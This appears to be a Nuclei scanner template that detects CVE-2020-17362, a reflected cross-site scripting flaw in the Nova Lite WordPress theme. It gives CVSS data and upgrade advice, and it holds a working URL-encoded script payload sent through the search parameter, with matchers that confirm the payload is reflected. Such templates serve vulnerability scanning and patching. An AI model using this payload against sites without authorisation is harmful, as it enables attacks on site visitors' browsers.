id: CVE-2020-17362

info:
  name: Nova Lite < 1.3.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Nova Lite version 1.3.9 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17362
    - https://themes.trac.wordpress.org/browser/nova-lite/1.3.9/readme.txt?rev=134076
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-17362
    cwe-id: CWE-79
    epss-score: 0.0286
    epss-percentile: 0.84928
    cpe: cpe:2.3:a:themeinprogress:nova_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: themeinprogress
    product: nova_lite
    framework: wordpress
  tags: cve2020,cve,wordpress,xss,wp-plugin,wpscan,unauth,themeinprogress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: body
        words:
          - "nova-lite"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022011fbc98ed417ba66f9ae8f75404396665cd2e41387c67d7d646d79c12affdd9f0220159e0e42c3402cafc2d9956586a6a7c39ae7320188e204c79be547a304a0872e:922c64590222798bb761d5b6d8e72950